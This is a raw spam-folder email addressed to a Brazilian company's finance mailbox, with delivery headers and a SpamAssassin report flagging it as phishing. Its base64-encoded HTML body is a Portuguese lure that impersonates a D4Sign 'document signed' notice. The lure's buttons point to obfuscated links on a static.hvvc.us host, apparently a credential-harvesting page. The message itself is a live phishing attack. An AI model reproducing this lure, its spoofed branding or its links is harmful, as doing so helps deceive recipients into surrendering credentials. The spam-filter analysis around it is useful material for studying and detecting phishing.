Return-Path: <nao-responder571298@concordia647k.auditoria.biz>
Delivered-To: lrsys+spam@dedi-4363141.lrsys.com.br
Received: from dedi-4363141.lrsys.com.br
	by dedi-4363141.lrsys.com.br with LMTP
	id vPU8HLkgwmfIDwAAIWsJAg
	(envelope-from <nao-responder571298@concordia647k.auditoria.biz>)
	for <lrsys+spam@dedi-4363141.lrsys.com.br>; Fri, 28 Feb 2025 17:46:49 -0300
Return-path: <nao-responder571298@concordia647k.auditoria.biz>
Envelope-to: financeiro@lrsys.com.br
Delivery-date: Fri, 28 Feb 2025 17:46:49 -0300
Received: from concordia647k.auditoria.biz ([5.161.57.176]:45614)
	by dedi-4363141.lrsys.com.br with esmtps  (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
	(Exim 4.96.2)
	(envelope-from <nao-responder571298@concordia647k.auditoria.biz>)
	id 1to7Ft-000118-12
	for financeiro@lrsys.com.br;
	Fri, 28 Feb 2025 17:46:49 -0300
Received: from concordia647k.auditoria.biz (localhost [127.0.0.1])
	by concordia647k.auditoria.biz (Postfix) with ESMTP id C6FDD20F89
	for <financeiro@lrsys.com.br>; Fri, 28 Feb 2025 17:46:03 -0300 (-03)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple;
	d=concordia647k.auditoria.biz; s=default; t=1740775563;
	bh=yODPymlMvI5aYlSySpp3H+T322anJ4roaxye+/TlFUY=;
	h=From:To:Reply-To:Date:Subject:From;
	b=DvCLs9YncRVhbqnpu5p/uIDJSXjcgRDfexU5tbPsIhCRkGABdqlnHnYBArX+u5ym2
	 cOxmK+pOU454SuvJd10rcwfryS8Yb+uBROWs/uULjnoJK1UKW5FlTAe3CCAZtqBx0h
	 NbLJxkaXIEt0cQvq+Oz9HXi4CjgSIhZKs0KBVlb2OBWM3o8jwEd/wksPbPxphfXCtq
	 RQ5lUbmEnzyLvbYC6ZE2TQCg1lI7efazxJ4U1A4uegpejsohSm9UI/MXQiMKmh1hIG
	 yv/S5guroJ/+6JJ+iMOKU44z3LULmmg03ZJEbaAnRnjhq4iaxUFfhzSgvNHVXB6lt5
	 O/zplFT4BmcRw==
From: "SETOR80" <nao-responder571298@concordia647k.auditoria.biz>
To: financeiro@lrsys.com.br
Content-Type: multipart/alternative; boundary="VwuH=_l8C8EKuEpVIabMRdl3bLbHHd4zc6"
MIME-Version: 1.0
Reply-To: mm1ueux2d8fjcm5vy@concordia647k.auditoria.biz
Date: Fri, 28 Feb 2025 17:46:03 -0300
Message-Id: <20250228204603.C6FDD20F89@concordia647k.auditoria.biz>
X-Spam-Status: Yes, score=10.2
X-Spam-Score: 102
X-Spam-Bar: ++++++++++
X-Spam-Report: Spam detection software, running on the system "dedi-4363141.lrsys.com.br",
 has identified this incoming email as possible spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 root\@localhost for details.
 Content preview:  An HTML viewer is required to see this message Seu documento
    foi finalizado Acessar o documento Olá financeiro@lrsys.com.br, 
 Content analysis details:   (10.2 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 URIBL_BLOCKED          ADMINISTRATOR NOTICE: The query to URIBL was
                             blocked.  See
                             http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
                              for more information.
                             [URIs: hvvc.us]
  2.5 URIBL_DBL_PHISH        Contains a Phishing URL listed in the Spamhaus
                             DBL blocklist
                             [URIs: auditoria.biz]
  0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE:
                             The query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [5.161.57.176 listed in sa-accredit.habeas.com]
  0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [5.161.57.176 listed in bl.score.senderscore.com]
  1.0 BAYES_999              BODY: Bayes spam probability is 99.9 to 100%
                             [score: 1.0000]
  5.0 BAYES_99               BODY: Bayes spam probability is 99 to 100%
                             [score: 1.0000]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
  0.8 MPART_ALT_DIFF         BODY: HTML and text parts are different
  0.0 HTML_MESSAGE           BODY: HTML included in message
 -0.1 DKIM_VALID_AU          Message has a valid DKIM or DK signature from
                             author's domain
 -0.1 DKIM_VALID             Message has at least one valid DKIM or DK signature
  0.1 DKIM_SIGNED            Message has a DKIM or DK signature, not necessarily
                             valid
  0.8 KAM_INFOUSMEBIZ        Prevalent use of
                             .info|.us|.me|.me.uk|.biz|xyz|id|rocks|life
                              domains in spam/malware
  0.2 FROM_FMBLA_NEWDOM14    From domain was registered in last 7-14 days
X-Spam-Flag: YES
Subject:  ***SPAM*** 
 =?UTF-8?B?8J+UjSBDb25maXJtZSBhIGFzc2luYXR1cmEgZG8gc2V1IGRvY3VtZW50bw==?=

This is a multi-part message in MIME format

--VwuH=_l8C8EKuEpVIabMRdl3bLbHHd4zc6
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

An HTML viewer is required to see this message

--VwuH=_l8C8EKuEpVIabMRdl3bLbHHd4zc6
Content-Type: text/html; charset="utf-8"
Content-Transfer-Encoding: base64
Content-Disposition: inline

PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9InB0LXB0Ij4KICA8aGVhZD4KICAgIDxtZXRhIGNo
YXJzZXQ9InV0Zi04Ij4KICA8L2hlYWQ+CiAgPGJvZHkgc3R5bGU9Im1hcmdpbjogMDsgcGFkZGlu
ZzogMDsgYmFja2dyb3VuZC1jb2xvcjogI0Y1RjZGQTsgZm9udC1mYW1pbHk6IEFyaWFsLCBzYW5z
LXNlcmlmOyI+CiAgICA8ZGl2IGNsYXNzPSJIU1ciIHN0eWxlPSJ3aWR0aDogMTAwJTsgbWF4LXdp
ZHRoOiA2MDBweDsgbWFyZ2luOiAwIGF1dG87Ij4KICAgICAgPGRpdiBjbGFzcz0ibGR6Y2Rrblg1
IiBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyOyBiYWNrZ3JvdW5kLWNvbG9yOiAjNDA4NTg0OyBj
b2xvcjogI2ZmZmZmZjsgcGFkZGluZzogMjBweDsgbWFyZ2luLXRvcDogMTBweDsgYm9yZGVyLXJh
ZGl1czogNnB4OyI+CiAgICAgICAgPGgyIHN0eWxlPSJtYXJnaW4tSjNDWENCWlZZWUNNRDogMTBw
eDsiPlNldSBkb2N1bWVudG8gZm9pIGZpbmFsaXphZG88L2gyPgogICAgICAgIDxhIGhyZWY9ImhU
VFBzOi8vNzQtNTAtMTI3LTQ5LnN0YXRpYy5odnZjLnVzL1AxODZXdVB1cEFXSHYvQ0hlMGVCcHZp
QnhINlk2L0tOR0ljODZ4dEZLdi9ZR0xFXzg3ODEyNCIgcmVsPSJub3JlZmVycmVyIiAgIHRhcmdl
dD0iX2JsYW5rIiBkYXRhLWF1dGg9Ik5vdEFwcGxpY2FibGUiIHN0eWxlPSJiYWNrZ3JvdW5kLWNv
bG9yOiByZ2IoMjU1LCAyNTUsIDI1NSk7IGJvcmRlcjogMnB4IHNvbGlkIHJnYigyNTUsIDI1NSwg
MjU1KTsgYm9yZGVyLXJhZGl1czogNnB4OyBjb2xvcjogcmdiKDUxLCAxMjEsIDI0Mik7IGRpc3Bs
YXk6IGlubGluZS1ibG9jazsgZm9udC1mYW1pbHk6IGFyaWFsLCBoZWx2ZXRpY2EsIHNhbnMtc2Vy
aWY7IGZvbnQtc2l6ZTogMTZweDsgZm9udC13ZWlnaHQ6IGJvbGQ7IGxldHRlci1zcGFjaW5nOiAw
cHg7IGxpbmUtaGVpZ2h0OiAxNnB4OyBwYWRkaW5nOiAxMnB4IDE4cHg7IHRleHQtYWxpZ246IGNl
bnRlcjsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyBtYXJnaW4tdG9wOiAxMHB4OyI+QWNlc3NhciBv
IGRvY3VtZW50bzwvYT4KICAgICAgPC9kaXY+CiAgICAgIDxkaXYgY2xhc3M9ImNvbnRlbnQiIHN0
eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmZmZmOyBwYWRkaW5nOiAxOHB4OyBtYXJnaW4tdG9w
OiAxMHB4OyBib3JkZXItcmFkaXVzOiA2cHg7Ij4KICAgICAgICA8cCBzdHlsZT0ibWFyZ2luLUZQ
NVhCMzRKMDZBWDU6IDEwcHg7Ij5PbCYjMjI1OyBmaW5hbmNlaXJvQGxyc3lzLmNvbS5iciw8L3A+
CiAgICAgICAgPHAgc3R5bGU9Im1hcmdpbi1DMEZEQlRBSkFURTBSOiAxMHB4OyI+QSBzdWEgYXNz
aW5hdHVyYSBlbGV0ciYjMjQ0O25pY2EgZm9pIGNvbmNsdSYjMjM3O2RhIGNvbSBzdWNlc3NvISBP
IGNyaWFkb3IgZG8gZG9jdW1lbnRvIGomIzIyNTsgZm9pIGF1dG9tYXRpY2FtZW50ZSBub3RpZmlj
YWRvIHF1ZSB2b2MmIzIzNDsgYXNzaW5vdS48L3A+CiAgICAgICAgPHAgc3R5bGU9Im1hcmdpbi1D
Vlg0RlpFWDdPOTNaOiAxMHB4OyI+Vm9jJiMyMzQ7IHBvZGUgYWNlc3NhciBvcyBkb2N1bWVudG9z
IHF1ZSB2b2MmIzIzNDsgYXNzaW5vdSBjbGljYW5kbyBubyBib3QmIzIyNztvIGFjaW1hIG91IGFj
ZXNzYW5kbyBvIDxhIGhyZWY9ImhUdFBTOi8vNzQtNTAtMTI3LTQ5LnN0YXRpYy5odnZjLnVzL1Z6
UDNSdjB2a1FVSllHVy9QMTg2V3VQdXBBV0h2L0NIZTBlQnB2aUJ4SDZZNi9kMXRzT2FSb1gySTgv
RURPR182NDU2ODAiIHN0eWxlPSJjb2xvcjogIzMzNzlGMjsgdGV4dC1kZWNvcmF0aW9uOiBub25l
OyI+RDRTaWduOjpmaW5hbmNlaXJvQGxyc3lzLmNvbS5icjwvYT4uPC9wPgogICAgICA8L2Rpdj4K
ICAgIDwvZGl2PgogIDwvYm9keT4KPC9odG1sPgo=

--VwuH=_l8C8EKuEpVIabMRdl3bLbHHd4zc6--